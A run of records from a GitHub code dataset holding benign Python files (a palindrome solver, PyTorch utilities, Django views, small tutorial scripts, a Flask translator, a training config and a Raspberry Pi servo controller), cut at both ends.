2\n \n for length in range(3, n + 1):\n for i in range(n - length + 1):\n j = i + length - 1\n if isPalindorme[i + 1][j - 1] and s[i] == s[j]:\n isPalindorme[i][j] = True\n \n if length > longest and isPalindorme[i][j]:\n longest = length\n start = i\n \n return s[start: start + longest]\n \n \n \n \n ","repo_name":"JoanWu5/leetcode-lintcode-python","sub_path":"palindrome/5. Longest Palindromic Substring.py","file_name":"5. Longest Palindromic Substring.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22821358026","text":"import logging\nimport inspect\nimport collections\n\nimport torch\n\nlogger = logging.getLogger(__name__)\n\n\ndef _get_tensors(object_, seen=None):\n if torch.is_tensor(object_):\n return [object_]\n elif isinstance(object_, (str, float, int)) or id(object_) in seen:\n return []\n\n seen.add(id(object_))\n tensors = set()\n\n if isinstance(object_, collections.abc.Mapping):\n for value in object_.values():\n tensors.update(_get_tensors(value, seen))\n elif isinstance(object_, collections.abc.Iterable):\n for value in object_:\n tensors.update(_get_tensors(value, seen))\n else:\n members = [\n value for key, value in inspect.getmembers(object_)\n if not isinstance(value, (collections.abc.Callable, type(None)))\n ]\n tensors.update(_get_tensors(members, seen))\n\n return tensors\n\n\ndef get_tensors(object_):\n \"\"\" Get all tensors associated with ``object_``\n\n Args:\n object_ (any): Any object to look for tensors.\n\n Returns:\n (list of torch.tensor): List of tensors that are associated with ``object_``.\n \"\"\"\n return _get_tensors(object_, set())\n\n\ndef sampler_to_iterator(dataset, sampler):\n \"\"\" Given a batch sampler or sampler returns examples instead of indices\n\n Args:\n dataset (torch.utils.data.Dataset): Dataset to sample from.\n sampler (torch.utils.data.sampler.Sampler): Sampler over the dataset.\n\n Returns:\n generator over dataset examples\n \"\"\"\n for sample in sampler:\n if isinstance(sample, (list, tuple)):\n # yield a batch\n yield [dataset[i] for i in sample]\n else:\n # yield a single example\n yield dataset[sample]\n\n\ndef flatten_parameters(model):\n \"\"\" ``flatten_parameters`` of a RNN model loaded from disk. \"\"\"\n model.apply(lambda m: m.flatten_parameters() if hasattr(m, 'flatten_parameters') else None)\n\n\ndef split_list(list_, splits):\n \"\"\" Split ``list_`` using the ``splits`` ratio.\n\n Args:\n list_ (list): List to split.\n splits (tuple): Tuple of decimals determining list splits summing up to 1.0.\n\n Returns:\n (list): Splits of the list.\n\n Example:\n >>> dataset = [1, 2, 3, 4, 5]\n >>> split_list(dataset, splits=(.6, .2, .2))\n [[1, 2, 3], [4], [5]]\n \"\"\"\n assert sum(splits) == 1, 'Splits must sum to 1.0'\n splits = [round(s * len(list_)) for s in splits]\n lists = []\n for split in splits[:-1]:\n lists.append(list_[:split])\n list_ = list_[split:]\n lists.append(list_)\n return lists\n\n\ndef get_total_parameters(model):\n \"\"\" Return the total number of trainable parameters in ``model``.\n\n Args:\n model (torch.nn.Module)\n\n Returns:\n (int): The total number of trainable parameters in ``model``.\n \"\"\"\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\ndef torch_equals_ignore_index(tensor, tensor_other, ignore_index=None):\n \"\"\"\n Compute ``torch.equal`` with the optional mask parameter.\n\n Args:\n ignore_index (int, optional): Specifies a ``tensor`` index that is ignored.\n\n Returns:\n (bool) Returns ``True`` if target and prediction are equal.\n \"\"\"\n if ignore_index is not None:\n assert tensor.size() == tensor_other.size()\n mask_arr = tensor.ne(ignore_index)\n tensor = tensor.masked_select(mask_arr)\n tensor_other = tensor_other.masked_select(mask_arr)\n\n return torch.equal(tensor, tensor_other)\n\n\ndef is_namedtuple(object_):\n return hasattr(object_, '_asdict') and isinstance(object_, tuple)\n\n\ndef lengths_to_mask(*lengths, **kwargs):\n \"\"\" Given a list of lengths, create a batch mask.\n\n Example:\n >>> lengths_to_mask([1, 2, 3])\n tensor([[ True, False, False],\n [ True, True, False],\n [ True, True, True]])\n >>> lengths_to_mask([1, 2, 2], [1, 2, 2])\n tensor([[[ True, False],\n [False, False]],\n \n [[ True, True],\n [ True, True]],\n \n [[ True, True],\n [ True, True]]])\n\n Args:\n *lengths (list of int or torch.Tensor)\n **kwargs: Keyword arguments passed to ``torch.zeros`` upon initially creating the returned\n tensor.\n\n Returns:\n torch.BoolTensor\n \"\"\"\n # Squeeze to deal with random additional dimensions\n lengths = [l.squeeze().tolist() if torch.is_tensor(l) else l for l in lengths]\n\n # For cases where length is a scalar, this needs to convert it to a list.\n lengths = [l if isinstance(l, list) else [l] for l in lengths]\n assert all(len(l) == len(lengths[0]) for l in lengths)\n batch_size = len(lengths[0])\n other_dimensions = tuple([int(max(l)) for l in lengths])\n mask = torch.zeros(batch_size, *other_dimensions, **kwargs)\n for i, length in enumerate(zip(*tuple(lengths))):\n mask[i][[slice(int(l)) for l in length]].fill_(1)\n return mask.bool()\n\n\ndef collate_tensors(batch, stack_tensors=torch.stack):\n \"\"\" Collate a list of type ``k`` (dict, namedtuple, list, etc.) with tensors.\n\n Inspired by:\n https://github.com/pytorch/pytorch/blob/master/torch/utils/data/_utils/collate.py#L31\n\n Args:\n batch (list of k): List of rows of type ``k``.\n stack_tensors (callable): Function to stack tensors into a batch.\n\n Returns:\n k: Collated batch of type ``k``.\n\n Example use case:\n This is useful with ``torch.utils.data.dataloader.DataLoader`` which requires a collate\n function. Typically, when collating sequences you'd set\n ``collate_fn=partial(collate_tensors, stack_tensors=encoders.text.stack_and_pad_tensors)``.\n\n Example:\n\n >>> import torch\n >>> batch = [\n ... { 'column_a': torch.randn(5), 'column_b': torch.randn(5) },\n ... { 'column_a': torch.randn(5), 'column_b': torch.randn(5) },\n ... ]\n >>> collated = collate_tensors(batch)\n >>> {k: t.size() for (k, t) in collated.items()}\n {'column_a': torch.Size([2, 5]), 'column_b': torch.Size([2, 5])}\n \"\"\"\n if all([torch.is_tensor(b) for b in batch]):\n return stack_tensors(batch)\n if (all([isinstance(b, dict) for b in batch]) and\n all([b.keys() == batch[0].keys() for b in batch])):\n return {key: collate_tensors([d[key] for d in batch], stack_tensors) for key in batch[0]}\n elif all([is_namedtuple(b) for b in batch]): # Handle ``namedtuple``\n return batch[0].__class__(**collate_tensors([b._asdict() for b in batch], stack_tensors))\n elif all([isinstance(b, list) for b in batch]):\n # Handle list of lists such each list has some column to be batched, similar to:\n # [['a', 'b'], ['a', 'b']] → [['a', 'a'], ['b', 'b']]\n transposed = zip(*batch)\n return [collate_tensors(samples, stack_tensors) for samples in transposed]\n else:\n return batch\n\n\ndef tensors_to(tensors, *args, **kwargs):\n \"\"\" Apply ``torch.Tensor.to`` to tensors in a generic data structure.\n\n Inspired by:\n https://github.com/pytorch/pytorch/blob/master/torch/utils/data/_utils/collate.py#L31\n\n Args:\n tensors (tensor, dict, list, namedtuple or tuple): Data structure with tensor values to\n move.\n *args: Arguments passed to ``torch.Tensor.to``.\n **kwargs: Keyword arguments passed to ``torch.Tensor.to``.\n\n Example use case:\n This is useful as a complementary function to ``collate_tensors``. Following collating,\n it's important to move your tensors to the appropriate device.\n\n Returns:\n The inputted ``tensors`` with ``torch.Tensor.to`` applied.\n\n Example:\n\n >>> import torch\n >>> batch = [\n ... { 'column_a': torch.randn(5), 'column_b': torch.randn(5) },\n ... { 'column_a': torch.randn(5), 'column_b': torch.randn(5) },\n ... ]\n >>> tensors_to(batch, torch.device('cpu')) # doctest: +ELLIPSIS\n [{'column_a': tensor(...}]\n \"\"\"\n if torch.is_tensor(tensors):\n return tensors.to(*args, **kwargs)\n elif isinstance(tensors, dict):\n return {k: tensors_to(v, *args, **kwargs) for k, v in tensors.items()}\n elif hasattr(tensors, '_asdict') and isinstance(tensors, tuple): # Handle ``namedtuple``\n return tensors.__class__(**tensors_to(tensors._asdict(), *args, **kwargs))\n elif isinstance(tensors, list):\n return [tensors_to(t, *args, **kwargs) for t in tensors]\n elif isinstance(tensors, tuple):\n return tuple([tensors_to(t, *args, **kwargs) for t in tensors])\n else:\n return tensors\n\n\ndef identity(x):\n return x\n","repo_name":"PetrochukM/PyTorch-NLP","sub_path":"torchnlp/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8740,"program_lang":"python","lang":"en","doc_type":"code","stars":2198,"dataset":"github-code","pt":"31"} +{"seq_id":"1218627079","text":"from django.shortcuts import render\nfrom .models import Article, Reporter\n\ndef year_archive(request, year):\n a_list = Article.objects.filter(pub_date__year = year)\n context = {\n 'year': year, \n 'article list': a_list\n }\n return render(request, 'news/year_archive.html', context)\n\ndef month_archive(request, year, month):\n a_list = Article.objects.filter(pub_date__month = month)\n context = {\n 'year': year,\n 'month': month, \n 'article list': a_list\n }\n return render(request, 'news/month_archive.html', context)\n\ndef article_detail(request, year, month, pk):\n # a_list = Article.objects.filter(pub_date = year)\n context = {\n 'year': year,\n 'month': month,\n 'pk': pk,\n # 'article list': a_list\n }\n return render(request, 'news/article_detail.html', context)\n\ndef user_list(request):\n list = Reporter.objects.all().order_by('-id').reverse()\n data = {'list': list}\n return render(request, 'news/user_list.html', data)\n\n\ndef article_list(request):\n list = Article.objects.all().order_by('-pub_date')\n data = {'list': list}\n return render(request, 'news/article_list.html', data)","repo_name":"Bacdong/web-crawler","sub_path":"first_project/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"70800531927","text":"import tensorflow as tf\r\n\r\na = tf.placeholder(tf.int32, [5]) # 変数aの入れ物(形のようなもの)を定義 ⇒ 1行5列配列にint32型の数字が入る\r\n\r\ntwo = tf.constant(2)\r\nmul_two = a * two\r\n\r\nsess = tf.Session()\r\n\r\n# 演算を実行する際の引数として、演算自体とfeed_dictでplaceholderで指定した形の数値を与える。\r\nres1 = sess.run(mul_two, feed_dict={a: [1,2,3,4,5]})\r\nprint(res1)\r\n\r\nres2 = sess.run(mul_two, feed_dict={a: [10,20,30,40,50]})\r\nprint(res2)\r\n\r\n\r\n","repo_name":"ueda-hiroyuki/machine_learning","sub_path":"app/src/python_file/practice/deep_learning/test_placeholder.py","file_name":"test_placeholder.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38586164896","text":"from pysages.grids import Chebyshev, Grid\nfrom pysages.approxfun import (\n SpectralGradientFit,\n SpectralSobolev1Fit,\n build_fitter,\n build_evaluator,\n build_grad_evaluator,\n compute_mesh,\n)\n\nimport jax\nimport jax.numpy as np\n\n\n# Test functions\ndef gaussian(a, mu, sigma, x):\n return a * np.exp(-((x - mu) ** 2) / sigma)\n\n\ndef g(x):\n return gaussian(1.5, 0.2, 0.03, x) + gaussian(0.5, -0.5, 0.05, x) + gaussian(1.25, 0.9, 1.5, x)\n\n\ndef f(x):\n return 0.35 * np.cos(5 * x) + 0.7 * np.sin(-2 * x)\n\n\ndef test_fourier_approx():\n grid = Grid(lower=(-np.pi,), upper=(np.pi,), shape=(512,), periodic=True)\n\n x_scaled = compute_mesh(grid)\n x = np.pi * x_scaled\n\n # Periodic function and its gradient\n y = jax.vmap(f)(x.flatten()).reshape(x.shape)\n dy = jax.vmap(jax.grad(f))(x.flatten()).reshape(x.shape)\n\n model = SpectralGradientFit(grid)\n fit = build_fitter(model)\n evaluate = build_evaluator(model)\n get_grad = build_grad_evaluator(model)\n\n fun = fit(dy)\n\n assert np.all(np.isclose(y, evaluate(fun, x_scaled))).item()\n assert np.all(np.isclose(dy, get_grad(fun, x_scaled))).item()\n\n # fig, ax = plt.subplots()\n # ax.plot(x, dy)\n # ax.plot(x, get_grad(fun, x_scaled))\n # plt.show()\n\n # fig, ax = plt.subplots()\n # ax.plot(x, y)\n # ax.plot(x, evaluate(fun, x_scaled))\n # plt.show()\n\n model = SpectralSobolev1Fit(grid)\n fit = build_fitter(model)\n evaluate = build_evaluator(model)\n get_grad = build_grad_evaluator(model)\n\n sfun = fit(y, dy)\n\n assert np.all(np.isclose(y, evaluate(sfun, x_scaled))).item()\n assert np.all(np.isclose(dy, get_grad(sfun, x_scaled))).item()\n\n assert np.linalg.norm(fun.coefficients - sfun.coefficients) < 1e-8\n\n # fig, ax = plt.subplots()\n # ax.plot(x, dy)\n # ax.plot(x, get_grad(sfun, x_scaled))\n # plt.show()\n\n # fig, ax = plt.subplots()\n # ax.plot(x, y)\n # ax.plot(x, evaluate(sfun, x_scaled))\n # plt.show()\n\n\ndef test_cheb_approx():\n grid = Grid[Chebyshev](lower=(-1.0,), upper=(1.0,), shape=(256,))\n\n x = compute_mesh(grid)\n\n y = jax.vmap(g)(x.flatten()).reshape(x.shape)\n dy = jax.vmap(jax.grad(g))(x.flatten()).reshape(x.shape)\n\n model = SpectralSobolev1Fit(grid)\n fit = build_fitter(model)\n evaluate = build_evaluator(model)\n get_grad = build_grad_evaluator(model)\n\n fun = fit(y, dy)\n\n assert np.linalg.norm(y - evaluate(fun, x)) < 1e-2\n assert np.linalg.norm(dy - get_grad(fun, x)) < 5e-2\n\n # fig, ax = plt.subplots()\n # ax.plot(x, y)\n # ax.plot(x, y_)\n # plt.show()\n\n # fig, ax = plt.subplots()\n # ax.plot(x, dy)\n # ax.plot(x, dy_)\n # plt.show()\n","repo_name":"angelaabongwa/PySAGES","sub_path":"tests/test_approxfun.py","file_name":"test_approxfun.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"72432262809","text":"# Youtube video tutorial: https://www.youtube.com/channel/UCdyjiB5H8Pu7aDTNVXTTpcg\n# Youku video tutorial: http://i.youku.com/pythontutorial\n\nimport multiprocessing as mp\nimport threading as td\nimport time\nfrom multiprocessing import Process, Queue\nimport os\n\ndef worker(start, end, queue):\n print(\"start:\", start)\n print(\"end:\", end)\n print(\"프로세스 ID: {0} (부모 프로세스 ID: {1})\".format(os.getpid(), os.getppid()))\n sum = 0\n for i in range(start,end):\n sum += i\n queue.put(sum)\n return\n\nif __name__ == '__main__':\n START = 0\n END = 2000\n queue = Queue()\n pr1 = Process(target=worker, args=(START, int(END/2) , queue))\n pr2 = Process(target=worker, args=(int(END/2), END, queue))\n\n # 쓰레드가 지 맘대로 동작\n pr1.start()\n pr2.start()\n pr1.join()\n pr2.join()\n\n # 쓰레드가 순서대로 동작\n # pr1.start()\n # pr1.join()\n # pr2.start()\n # pr2.join()\n\n queue.put('STOP')\n sum = 0\n while 1:\n tmp = queue.get()\n if tmp == 'STOP' : break\n else: sum += tmp\n print(\"Result: \", sum)\n","repo_name":"hotco87/PyTorch-RL","sub_path":"5. A3C/1. Basic_for_Multiprocessing/2. Queue_2.py","file_name":"2. Queue_2.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"8660192052","text":"print(\"\"\"\n Menu \nSmall Pizza : $15\nMedium Pizza : $20\nLarge Pizza : $25\n\nPepperoni for Small Pizza : +$2\nPepperoni for Medium or Large : +$3\n\nExtra cheese for any size Pizza : +$1\n\"\"\")\n\nsize = input(\"Enter size of Pizza you want? i.e S - small , M - Medium , L - Large :\")\nadd_pepperoni = input(\"Do you want Pepperoni ? i.e 'Y - yes , N - No :\")\nextra_cheese = input(\"Do you want Extra Cheese ? i.e Y - yes , N - no :\")\n\ntotal = 0\n\nif size == 'S' or size == 's':\n total += 15\nelif size == 'M' or size == \"m\":\n total += 20\nelif size == 'L' or size == 'l':\n total+= 25\nelse:\n print(\"invalid input\")\n\nif(add_pepperoni == 'y' or add_pepperoni == 'Y'):\n if size == 'S' or size == 's':\n total += 2\n elif size == 'M' or size == \"m\":\n total += 3\n elif size == 'L' or size == 'l':\n total+= 3\nif extra_cheese == 'Y' or extra_cheese == 'y':\n total += 1\n\nprint(f\"Total prize of your pizza is ${total}\")\n","repo_name":"AdarshMasekar/100-days-of-coding","sub_path":"Day 03/orderPizza.py","file_name":"orderPizza.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"36832874006","text":"# Without recursion\nfact = 1\nfor i in range(1, 6):\n fact *= i\n\nprint(fact)\n\n\n# With recursion\n\ndef factorial(n):\n if n == 0:\n return 1\n return n * factorial(n-1)\n\n\nprint(factorial(5))\n\n# 5 * factorial(4) => 5 * 24 = 120\n# 4 * factorial(3) => 4 * 6 = 24\n# 3 * factorial(2) => 3 * 2 = 6\n# 2 * factorial(1) => 2 * 1 = 2\n# 1 * factorial(0) => 1 * 1 = 1\n","repo_name":"pnabiniw/broadway-learning-Apr-2023-6-30","sub_path":"day24/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12745963027","text":"from tkinter import *\n\nclass window():\n def __init__(self, window_x, window_y):\n self.root = Tk()\n self.root.title(\"labyrinth visualiser\")\n self.root.geometry(f\"{window_x}x{window_y}\")\n\n self.my_canvas = Canvas(self.root, width=window_x, height=window_y, bg=\"grey\")\n self.my_canvas.pack()\n self.my_canvas.bind(\"\", self.switch_state)\n self.my_canvas.focus_set()\n self.my_canvas.bind(\"

    \", self.printmap)\n self.my_canvas.bind(\"\", self.map_black)\n self.my_canvas.bind(\"\", self.map_white)\n self.my_canvas.bind(\"\", self.gradiant)\n self.my_canvas.bind(\"\", self.quit)\n return self.root\n\n def draw_rectangle(self, x: int, y: int, color:str, outline: str = \"black\"):\n self.my_canvas.create_rectangle(x * self.pixel_size,\n y * self.pixel_size, (x + 1) * self.pixel_size,\n (y + 1) * self.pixel_size, fill=color, outline=outline)\n\n def draw_map(self, map):\n for y in range(len(map)):\n for x in range(len(map[y])):\n if map[y][x] == \"X\":\n self.draw_rectangle(x, y, \"black\")\n elif map[y][x] == \"o\":\n self.draw_rectangle(x, y, \"red\", \"red\")\n else:\n self.draw_rectangle(x, y, \"white\")\n\n def quit(self, event):\n self.my_canvas.quit()\n\n def switch_state(self, event):\n x = event.x // self.pixel_size\n y = event.y // self.pixel_size\n if self.map[y][x] == \"X\":\n self.draw_rectangle(x, y, \"white\")\n self.map[y][x] = '*'\n else:\n self.draw_rectangle(x, y, \"black\")\n self.map[y][x] = 'X'\n\n def printmap(self, event):\n for line in self.map:\n print(\"\".join(line), end=\"\\n\")\n\n def map_black(self, event):\n self.set_map(\"X\", \"black\")\n\n def map_white(self, event):\n self.set_map(\"*\", \"white\")\n\n def gradiant(self, event):\n for y in range(len(self.map)):\n for x in range(len(self.map[y])):\n if self.map[y][x] == \"*\":\n self.draw_rectangle(x, y,\n rgb_to_hex((int((x+y) / (self.x + self.y) * 255),\n int((1 - (x+y) / (self.x + self.y)) * 255), 255)))\n\ndef rgb_to_hex(rgb):\n return '#%02x%02x%02x' % rgb\n","repo_name":"Ardorax/MazeViewer","sub_path":"visualiser.py","file_name":"visualiser.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32896091284","text":"from flask import Flask, render_template, url_for, request, redirect\r\nfrom googletrans import Translator\r\n\r\ntranslator = Translator()\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef index():\r\n return render_template('index.html', tr=\"\", en=\"\")\r\n\r\n\r\n@app.route('/trtoen/', methods=['GET', 'POST'])\r\ndef trtoen(content):\r\n if request.method == 'POST':\r\n try:\r\n content = request.form.get('content', ' ')\r\n res = (translator.translate(content, src='tr', dest='en')).text\r\n render_template('index.html', tr=content, en=res)\r\n return redirect(url_for('trtoen', content=content))\r\n except:\r\n return \"Error in translate\"\r\n else:\r\n res = (translator.translate(content, src='tr', dest='en')).text\r\n return render_template('index.html', tr=content, en=res)\r\n\r\n\r\n@app.route('/entotr/', methods=['GET', 'POST'])\r\ndef entotr(content):\r\n if request.method == 'POST':\r\n try:\r\n content = request.form.get('content', ' ')\r\n res = (translator.translate(content, src='en', dest='tr')).text\r\n render_template('index.html', tr=res, en=content)\r\n return redirect(url_for('entotr', content=content)) # IM NOT SURE MIGHT CHANGE L8R\r\n except:\r\n return \"Error in translate\"\r\n else:\r\n res = (translator.translate(content, src='en', dest='tr')).text\r\n return render_template('index.html', tr=res, en=content)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n","repo_name":"burcukilic/translation-website","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70503667289","text":"import pandas as pd\nimport numpy as np\n\nVox2 = pd.read_csv(\"data/voxceleb1_dev.csv\")\nprint(Vox2.head())\nprint(Vox2.shape, len(set(Vox2[\"speaker_idx\"])))\nVox2_0 = Vox2[Vox2[\"speaker_idx\"]%2==0].copy()\nVox2_1 = Vox2[Vox2[\"speaker_idx\"]%2!=0].copy()\nVox2_0 = Vox2_0.reindex()\nVox2_1 = Vox2_1.reset_index(inplace=False).reindex()\nVox2_1.pop(\"index\")\nVox2_0[\"speaker_idx\"] = Vox2_0[\"speaker_idx\"]//2\nVox2_1[\"speaker_idx\"] = Vox2_1[\"speaker_idx\"]//2\n\n\nprint(\"Vox2 part 1 : shape : {}, males : {}, females :{}, speakers : {}\".format(Vox2_0.shape, len(Vox2_0[Vox2_0[\"gender\"]==\"m\"]), len(Vox2_0[Vox2_0[\"gender\"]==\"f\"]), len(set(Vox2_0[\"speaker_idx\"]))))\nprint(\"Vox2 part 2 : shape : {}, males : {}, females :{}, speakers : {}\".format(Vox2_1.shape, len(Vox2_1[Vox2_1[\"gender\"]==\"m\"]), len(Vox2_1[Vox2_1[\"gender\"]==\"f\"]), len(set(Vox2_0[\"speaker_idx\"]))))\nprint(Vox2_0.head())\nprint(Vox2_1.head())\n\n\nVox2_0.to_csv(\"data/voxceleb1_dev_half1.csv\", index = False)\nVox2_1.to_csv(\"data/voxceleb1_dev_half2.csv\", index = False)\n\n","repo_name":"Dretse/autovc_alignment","sub_path":"data/splitting_dataset.py","file_name":"splitting_dataset.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35241819712","text":"from typing import Type\nfrom typing import Union\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\nfrom stepcovnet.common.utils import get_channel_scalers\nfrom stepcovnet.config.AbstractConfig import AbstractConfig\nfrom stepcovnet.dataset.ModelDataset import ModelDataset\nfrom stepcovnet.training.TrainingHyperparameters import TrainingHyperparameters\n\n\nclass TrainingConfig(AbstractConfig):\n def __init__(self, dataset_path: str, dataset_type: Type[ModelDataset], dataset_config,\n hyperparameters: TrainingHyperparameters, all_scalers=None, limit: int = -1,\n lookback: int = 1, difficulty: str = \"challenge\", tokenizer_name: str = None):\n super(TrainingConfig, self).__init__(dataset_config=dataset_config, lookback=lookback, difficulty=difficulty)\n self.dataset_path = dataset_path\n self.dataset_type = dataset_type\n self.hyperparameters = hyperparameters\n self.all_scalers = all_scalers\n self.limit = limit\n self.tokenizer_name = tokenizer_name\n\n # Combine some of these to reduce the number of loops and save I/O reads\n self.all_indexes, self.train_indexes, self.val_indexes = self.get_train_val_split()\n self.num_samples = self.get_num_samples(self.all_indexes)\n self.num_train_samples = self.get_num_samples(self.train_indexes)\n self.num_val_samples = self.get_num_samples(self.val_indexes)\n # Disabling class weights since model currently performs better when disabled.\n self.train_class_weights = None # self.get_class_weights(self.train_indexes)\n self.all_class_weights = None # self.get_class_weights(self.all_indexes)\n self.init_bias_correction = self.get_init_bias_correction()\n self.train_scalers = self.get_train_scalers()\n\n def get_train_val_split(self) -> Union[np.array, np.array, np.array]:\n all_indexes = []\n with self.enter_dataset as dataset:\n total_samples = 0\n index = 0\n for song_start_index, song_end_index in dataset.song_index_ranges:\n if not any(dataset.labels[song_start_index: song_end_index] < 0):\n all_indexes.append(index)\n total_samples += song_end_index - song_start_index\n if 0 < self.limit < total_samples:\n break\n index += 1\n all_indexes = np.array(all_indexes)\n train_indexes, val_indexes, _, _ = \\\n train_test_split(all_indexes,\n all_indexes,\n test_size=0.1,\n shuffle=True,\n random_state=42)\n return all_indexes, train_indexes, val_indexes\n\n def get_class_weights(self, indexes) -> dict:\n labels = None\n with self.enter_dataset as dataset:\n for index in indexes:\n song_start_index, song_end_index = dataset.song_index_ranges[index]\n encoded_arrows = dataset.onehot_encoded_arrows[song_start_index:song_end_index]\n if labels is None:\n labels = encoded_arrows\n else:\n labels = np.concatenate((labels, encoded_arrows), axis=0)\n\n class_counts = [labels[:, class_index].sum() for class_index in range(labels.shape[1])]\n\n class_weights = dict(zip(\n list(range(len(class_counts))),\n list(0 if class_count == 0 else (len(labels) / class_count) / len(class_counts)\n for class_count in class_counts)\n ))\n\n return dict(enumerate(class_weights))\n\n def get_init_bias_correction(self) -> np.ndarray:\n # Best practices mentioned in\n # https://www.tensorflow.org/tutorials/structured_data/imbalanced_data#optional_set_the_correct_initial_bias\n # Not completely correct but works for now\n num_all = self.num_train_samples\n num_pos = 0\n with self.enter_dataset as dataset:\n for index in self.train_indexes:\n song_start_index, song_end_index = dataset.song_index_ranges[index]\n num_pos += dataset.labels[song_start_index:song_end_index].sum()\n num_neg = num_all - num_pos\n return np.log(num_pos / num_neg)\n\n def get_train_scalers(self):\n training_scalers = None\n with self.enter_dataset as dataset:\n for index in self.train_indexes:\n song_start_index, song_end_index = dataset.song_index_ranges[index]\n features = dataset.features[song_start_index: song_end_index]\n training_scalers = get_channel_scalers(features, existing_scalers=training_scalers)\n return training_scalers\n\n def get_num_samples(self, indexes) -> int:\n num_all = 0\n with self.enter_dataset as dataset:\n for index in indexes:\n song_start_index, song_end_index = dataset.song_index_ranges[index]\n num_all += song_end_index - song_start_index\n return num_all\n\n @property\n def enter_dataset(self):\n return self.dataset_type(self.dataset_path, difficulty=self.difficulty).__enter__()\n","repo_name":"cpuguy96/StepCOVNet","sub_path":"stepcovnet/config/TrainingConfig.py","file_name":"TrainingConfig.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"71800718807","text":" ### IMPORT MODULES ###\n\nimport RPi.GPIO as GPIO\nimport os\nimport sys\nimport math\nimport psutil\nimport signal\nimport time\n\n\n ### PARAMETER DEFAULTS ###\n\n_DEFAULT_ANGLE = 0.0\n\n ### SERVO CONFIGURATION ###\n\nSERVO_CONTROL_PIN = 19 # GPIO pin number\nPWM_FREQUENCY = 50 # Hertz\nSERVO_MIN_PULSE_WIDTH = 0.75 # milliseconds\nSERVO_MAX_PULSE_WIDTH = 2.25 # milliseconds\nPWM_PERIOD = 1000.0 / PWM_FREQUENCY # pulse period in milliseconds\nMS_PER_DEGREE = (SERVO_MAX_PULSE_WIDTH - \\\n SERVO_MIN_PULSE_WIDTH) / 180.0 # milliseconds\n\n ### GLOBAL VARIABLES ###\n\nangle = _DEFAULT_ANGLE\nrunContinuous = False\npwm = None\n\n# House keeping items.\nkillAllInstances = False\nverboseMode = False\n\ndef setDutyCycle(angle):\n \"\"\"\n Description: Sets the duty cycle of the PWM signal to the servo.\n Parameters:\n angle - the angle to which to move the servo arm\n Returns: nothing.\n\n Duty cycle (in percent) is 100 times pulse width divided by the\n period tpwm of the pulse width modulated signal. The period is\n the reciprocal of the frequency of the pulse width modulated signal.\n ____ ____\n | |________________________________| |_________\n |<-->|\n tmin \n |<---------------tpwm---------------->|\n \n _________ _________\n | |___________________________| |____\n |<--tmax->|\n |<---------------tpwm---------------->|\n \n The servo is controlled by a pulse width modulated signal where\n the width of the pulse varies from a minimum value tmin to a\n maximum value tmax. These values defined by the global constants\n SERVO_MIN_PULSE_WIDTH and SERVO_MAX_PULSE_WIDTH. The pulse width,\n tp, where tmin < tp < tmax, determines the number of degrees the\n servo arm moves. For a servo arm capable of 180 degrees movement,\n \n tp = ((tmax - tmin)/180)*angle + tmin\n \n where angle is in degrees, and \n \n duty cycle(%) = 100*tp/tpwm\n \n where tpwm is the period of the pulse width modulated signal.\n \"\"\"\n pulsewidth = MS_PER_DEGREE * angle + SERVO_MIN_PULSE_WIDTH\n dutyCycle = 100.0 * pulsewidth / PWM_PERIOD # percent duty cycle\n pwm.ChangeDutyCycle(dutyCycle)\n#end def\n\ndef setServo(angle):\n \"\"\"\n Description: Moves the servo arm to a specific angle and leaves\n it there.\n Parameters:\n angle - the angle to which to move the servo arm\n Returns: nothing.\n \"\"\"\n # Move the servo to the supplied angle.\n setDutyCycle(angle)\n time.sleep(1.0)\n## end def\n\ndef continuousMotion():\n \"\"\"\n Description: Moves the servo arm back and forth in continuous motion.\n Parameters: none\n Returns: nothing.\n \"\"\"\n # Set initial servo angle to 0.\n setServo(0)\n # Oscillate the servo arm back and forth between 0 and 180 degress.\n while True:\n # In small increments, move the servo arm forward 180 degrees.\n for i in range(0, 180, 1):\n setDutyCycle(i)\n time.sleep(0.01) # controls the speed of forward movement\n # In small increments, move the servo arm backward 180 degrees.\n for i in range(180, 0, -1):\n setDutyCycle(i)\n time.sleep(0.01) # controls the speed of backward movement\n ## end while\n## end def\n\ndef setup():\n \"\"\"\n Description: Sets up the GPIO interface mode, and sets up to output a\n pulse width modulated signal the GPIO output pin connected to the servo\n control input (white lead). \n Parameters: none\n Returns: nothing.\n \"\"\"\n global pwm\n # Setup the GPIO interface.\n GPIO.setmode(GPIO.BCM) # sets Broadcom pin numbering scheme\n GPIO.setwarnings(False)\n # Setup the pin connected to the servo control lead to output a pulse\n # width modulated signal.\n GPIO.setup(SERVO_CONTROL_PIN, 